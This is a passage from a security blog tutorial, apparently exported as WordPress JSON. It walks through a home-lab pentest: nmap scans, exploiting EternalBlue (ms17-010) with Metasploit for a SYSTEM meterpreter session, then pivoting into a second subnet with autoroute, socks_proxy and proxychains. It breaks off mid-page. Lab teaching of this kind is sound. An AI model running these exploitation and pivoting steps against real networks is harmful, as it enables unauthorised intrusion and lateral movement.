{"id":3581,"date":"2023-11-15T08:30:00","date_gmt":"2023-11-15T07:30:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3581"},"modified":"2023-11-11T22:17:04","modified_gmt":"2023-11-11T21:17:04","slug":"pivoting-with-metasploit","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","title":{"rendered":"PIVOTING with METASPLOIT?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit&#8217;s autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and effectively. We&#8217;ll explore the setup and application of these tools, providing a foundation for you to conduct thorough security assessments and network explorations. Join us as we unravel the steps to pivot with precision, maintaining stealth in the layered digital landscape.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"457\" data-attachment-id=\"3585\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-64\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1792%2C1024&amp;ssl=1\" data-orig-size=\"1792,1024\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=800%2C457&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?resize=800%2C457&#038;ssl=1\" alt=\"Pivoting with Metasploit\" class=\"wp-image-3585\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?w=1792&amp;ssl=1 1792w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?resize=300%2C171&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?resize=768%2C439&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?resize=1536%2C878&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Today we will explain how to perform the technique called &#8220;Pivoting&#8221; with Metasploit Framework but first of all we will need our own lab:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Kali Linux, Parrot, etc.<\/li>\n\n\n\n<li>Windows 7\/10 with vulnerability (EternalBlue).<\/li>\n\n\n\n<li>Ubuntu with vulnerability.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Once we already have our virtual machines deployed we will need to configure the networks. I recommend to connect the virtual machines between them using internal networks:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"634\" height=\"201\" data-attachment-id=\"3587\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/diagram-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/diagram-2.png?fit=634%2C201&amp;ssl=1\" data-orig-size=\"634,201\" data-comments-opened=\"1\" data-image-title=\"diagram-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/diagram-2.png?fit=634%2C201&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/diagram-2.png?resize=634%2C201&#038;ssl=1\" alt=\"Pivoting with Metasploit\" class=\"wp-image-3587\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/diagram-2.png?w=634&amp;ssl=1 634w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/diagram-2.png?resize=300%2C95&amp;ssl=1 300w\" sizes=\"(max-width: 634px) 100vw, 634px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">When we already have our laboratory working correctly we can start.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pivoting with Metasploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For this laboratory we will do a pentest simulation so let&#8217;s start with the lab.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Windows 7 &#8211; First machine<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s start with the first machine just running from our Kali Linux to recognize the new server into the NAT Network:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -sP 192.168.1.0\/24\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Starting Nmap 7.93 ( &lt;https:\/\/nmap.org&gt; ) at 2023-11-08 14:33 CET\nNmap scan report for 192.168.1.1\nHost is up (0.00015s latency).\nMAC Address: 0A:00:27:00:00:03 (Unknown)\nNmap scan report for 192.168.1.2\nHost is up (0.00027s latency).\nMAC Address: 08:00:27:03:0E:D8 (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.1.5\nHost is up (0.00059s latency).\nMAC Address: 08:00:27:9F:52:C7 (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.1.3\nHost is up.\nNmap done: 256 IP addresses (4 hosts up) scanned in 28.03 seconds\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see that we have detected the IP 192.168.1.5 probably it will be our objective. Let\u2019s scan the host deeper:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -n -Pn -sS -sVC -p- --min-rate=2000 192.168.1.5 -v\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Result:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT      STATE SERVICE      VERSION\n21\/tcp    open  tcpwrapped\n80\/tcp    open  http         Microsoft IIS httpd 7.5\n|_http-title: IIS7\n| http-methods: \n|   Supported Methods: OPTIONS TRACE GET HEAD POST\n|_  Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS\/7.5\n135\/tcp   open  msrpc        Microsoft Windows RPC\n139\/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn\n445\/tcp   open  microsoft-ds Windows 7 Professional 7600 microsoft-ds (workgroup: WORKGROUP)\n45621\/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-title: Bad Request\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n49152\/tcp open  msrpc        Microsoft Windows RPC\n49153\/tcp open  msrpc        Microsoft Windows RPC\n49154\/tcp open  msrpc        Microsoft Windows RPC\n49155\/tcp open  msrpc        Microsoft Windows RPC\n49156\/tcp open  msrpc        Microsoft Windows RPC\nMAC Address: 08:00:27:9F:52:C7 (Oracle VirtualBox virtual NIC)\nService Info: Host: W7-PIVOTING; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-time: \n|   date: 2023-11-08T13:40:01\n|_  start_date: 2023-11-08T13:33:33\n|_clock-skew: mean: -19m52s, deviation: 34m37s, median: 6s\n| smb-security-mode: \n|   account_used: &lt;blank&gt;\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb2-security-mode: \n|   210: \n|_    Message signing enabled but not required\n| smb-os-discovery: \n|   OS: Windows 7 Professional 7600 (Windows 7 Professional 6.1)\n|   OS CPE: cpe:\/o:microsoft:windows_7::-:professional\n|   Computer name: W7-Pivoting\n|   NetBIOS computer name: W7-PIVOTING\\\\x00\n|   Workgroup: WORKGROUP\\\\x00\n|_  System time: 2023-11-08T14:40:01+01:00\n| nbstat: NetBIOS name: W7-PIVOTING, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 0800279f52c7 (Oracle VirtualBox virtual NIC)\n| Names:\n|   W7-PIVOTING&lt;00&gt;      Flags: &lt;unique&gt;&lt;active&gt;\n|   WORKGROUP&lt;00&gt;        Flags: &lt;group&gt;&lt;active&gt;\n|   WORKGROUP&lt;1e&gt;        Flags: &lt;group&gt;&lt;active&gt;\n|   W7-PIVOTING&lt;20&gt;      Flags: &lt;unique&gt;&lt;active&gt;\n|   WORKGROUP&lt;1d&gt;        Flags: &lt;unique&gt;&lt;active&gt;\n|_  \\\\x01\\\\x02__MSBROWSE__\\\\x02&lt;01&gt;  Flags: &lt;group&gt;&lt;active&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see that the machine has SMB ports open so let\u2019s enumerate SMB ports and execute all the SMB scripts for more information. Also based into the Windows version we should check if we can exploit EthernalBlue:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmap -n -Pn -p 445 --script smb-vuln-ms17-010 --min-rate=2000 192.168.1.5 -v\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Results:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT    STATE SERVICE\n445\/tcp open  microsoft-ds\nMAC Address: 08:00:27:9F:52:C7 (Oracle VirtualBox virtual NIC)\n\nHost script results:\n| smb-vuln-ms17-010: \n|   VULNERABLE:\n|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)\n|     State: VULNERABLE\n|     IDs:  CVE:CVE-2017-0143\n|     Risk factor: HIGH\n|       A critical remote code execution vulnerability exists in Microsoft SMBv1\n|        servers (ms17-010).\n|           \n|     Disclosure date: 2017-03-14\n|     References:\n|       &lt;https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2017-0143&gt;\n|       &lt;https:\/\/blogs.technet.microsoft.com\/msrc\/2017\/05\/12\/customer-guidance-for-wannacrypt-attacks\/&gt;\n|_      &lt;https:\/\/technet.microsoft.com\/en-us\/library\/security\/ms17-010.aspx&gt;\n\nNSE: Script Post-scanning.\nInitiating NSE at 15:06\nCompleted NSE at 15:06, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nNmap done: 1 IP address (1 host up) scanned in 0.68 seconds\n           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see that the objective is vulnerable to EternalBlue so let\u2019s try if we can exploit it with metasploit:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"320\" data-attachment-id=\"3588\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-1-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?fit=1652%2C660&amp;ssl=1\" data-orig-size=\"1652,660\" data-comments-opened=\"1\" data-image-title=\"image-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?fit=800%2C320&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?resize=800%2C320&#038;ssl=1\" alt=\"Pivoting with Metasploit\" class=\"wp-image-3588\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?w=1652&amp;ssl=1 1652w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?resize=300%2C120&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?resize=768%2C307&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?resize=1536%2C614&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can configure the exploit and run it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(windows\/smb\/ms17_010_eternalblue) &gt; set RHOSTS 192.168.1.5\nRHOSTS =&gt; 192.168.1.5\nmsf6 exploit(windows\/smb\/ms17_010_eternalblue) &gt; set LHOST 192.168.1.3\nLHOST =&gt; 192.168.1.3\nmsf6 exploit(windows\/smb\/ms17_010_eternalblue) &gt; set target 7\ntarget =&gt; 7\nmsf6 exploit(windows\/smb\/ms17_010_eternalblue) &gt; exploit\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After exploit the vulnerability we will see that we have opened a new session on meterpreter:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"504\" data-attachment-id=\"3589\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-2-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?fit=1643%2C1036&amp;ssl=1\" data-orig-size=\"1643,1036\" data-comments-opened=\"1\" data-image-title=\"image-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?fit=800%2C504&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?resize=800%2C504&#038;ssl=1\" alt=\"Pivoting with Metasploit\" class=\"wp-image-3589\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?w=1643&amp;ssl=1 1643w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?resize=300%2C189&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?resize=768%2C484&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-2.png?resize=1536%2C969&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If we check which user currently we are we will see that we have control over the objective:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>meterpreter &gt; getuid\nServer username: NT AUTHORITY\\\\SYSTEM\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">No we already no we have complete access to the machine and we should enumerate the machine looking for more information (in our case we know that we should pivot to another machine) so let\u2019s start enumerating the networks:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>meterpreter &gt; ipconfig\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will discover a new network (192.168.141.3\/24):<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"278\" data-attachment-id=\"3590\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-3-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?fit=1569%2C546&amp;ssl=1\" data-orig-size=\"1569,546\" data-comments-opened=\"1\" data-image-title=\"image-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?fit=800%2C278&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?resize=800%2C278&#038;ssl=1\" alt=\"Pivoting with Metasploit\" class=\"wp-image-3590\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?w=1569&amp;ssl=1 1569w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?resize=300%2C104&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?resize=768%2C267&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-3.png?resize=1536%2C535&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To enumerate more the new network with metasploit and perform pivoting over the new sessions we should put the session in backgroud with the combination \u201cControl + z\u201d:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"157\" data-attachment-id=\"3591\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-4-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?fit=1589%2C311&amp;ssl=1\" data-orig-size=\"1589,311\" data-comments-opened=\"1\" data-image-title=\"image-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?fit=800%2C157&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?resize=800%2C157&#038;ssl=1\" alt=\"\" class=\"wp-image-3591\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?w=1589&amp;ssl=1 1589w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?resize=300%2C59&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?resize=768%2C150&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-4.png?resize=1536%2C301&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we have our session waiting for us. Let\u2019s configure our tunnel to perform pivoting over our objective. To start we will use the autoroute module:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(windows\/smb\/ms17_010_eternalblue) &gt; use multi\/manage\/autoroute\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If we check the options of the module we will see what we need to configure the parameters \u201cSESSION\u201d and \u201cSUBNET\u201d:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"207\" data-attachment-id=\"3592\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-5-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?fit=1613%2C417&amp;ssl=1\" data-orig-size=\"1613,417\" data-comments-opened=\"1\" data-image-title=\"image-5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?fit=800%2C207&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?resize=800%2C207&#038;ssl=1\" alt=\"\" class=\"wp-image-3592\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?w=1613&amp;ssl=1 1613w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?resize=300%2C78&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?resize=768%2C199&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-5.png?resize=1536%2C397&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s configure them and add the network:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 post(multi\/manage\/autoroute) &gt; set SESSION 1\nSESSION =&gt; 1\nmsf6 post(multi\/manage\/autoroute) &gt; set SUBNET 192.168.141.0\/24\nSUBNET =&gt; 192.168.141.0\/24\nmsf6 post(multi\/manage\/autoroute) &gt; run\n\n&#91;!] SESSION may not be compatible with this module:\n&#91;!]  * incompatible session platform: windows\n&#91;*] Running module against W7-PIVOTING\n&#91;*] Searching for subnets to autoroute.\n&#91;+] Route added to subnet 192.168.1.0\/255.255.255.0 from host's routing table.\n&#91;+] Route added to subnet 192.168.141.0\/255.255.255.0 from host's routing table.\n&#91;*] Post module execution completed\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can check if we added correctly the new route:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 post(multi\/manage\/autoroute) &gt; route<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"370\" data-attachment-id=\"3593\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-6-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?fit=1601%2C740&amp;ssl=1\" data-orig-size=\"1601,740\" data-comments-opened=\"1\" data-image-title=\"image-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?fit=800%2C370&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?resize=800%2C370&#038;ssl=1\" alt=\"\" class=\"wp-image-3593\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?w=1601&amp;ssl=1 1601w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?resize=300%2C139&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?resize=768%2C355&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-6.png?resize=1536%2C710&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we are capable to reach the new network we have discovered with all the modules in Metasploit but what happen if we want to use an external tool? We will use the auxiliary module \u201csocks_proxy\u201d to use it after with proxychains and then we will use external tools through the tunnel we have created:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 post(multi\/manage\/autoroute) &gt; use auxiliary\/server\/socks_proxy\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now for the first tunnel we will change the \u201cSRVHOST\u201d and the version of socks:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"538\" data-attachment-id=\"3594\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-7-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?fit=1638%2C1102&amp;ssl=1\" data-orig-size=\"1638,1102\" data-comments-opened=\"1\" data-image-title=\"image-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?fit=800%2C538&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?resize=800%2C538&#038;ssl=1\" alt=\"\" class=\"wp-image-3594\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?w=1638&amp;ssl=1 1638w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?resize=300%2C202&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?resize=768%2C517&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-7.png?resize=1536%2C1033&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can check if the proxy is listening:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>netstat -lntp<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"98\" data-attachment-id=\"3595\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-8-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?fit=1630%2C199&amp;ssl=1\" data-orig-size=\"1630,199\" data-comments-opened=\"1\" data-image-title=\"image-8\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?fit=800%2C98&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?resize=800%2C98&#038;ssl=1\" alt=\"\" class=\"wp-image-3595\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?w=1630&amp;ssl=1 1630w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?resize=300%2C37&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?resize=768%2C94&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-8.png?resize=1536%2C188&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After check that the proxy is working properly we will configure our proxychains configuration file:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nano \/etc\/proxychains4.conf\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And we will put our proxy into the \u201cProxyList\u201d with the same version and port that we have configured in metasploit:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"474\" data-attachment-id=\"3596\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/image-9-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?fit=1651%2C978&amp;ssl=1\" data-orig-size=\"1651,978\" data-comments-opened=\"1\" data-image-title=\"image-9\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?fit=800%2C474&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?resize=800%2C474&#038;ssl=1\" alt=\"\" class=\"wp-image-3596\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?w=1651&amp;ssl=1 1651w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?resize=300%2C178&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image-9.png?resize=768%2C455&amp;ssl=1 768w, 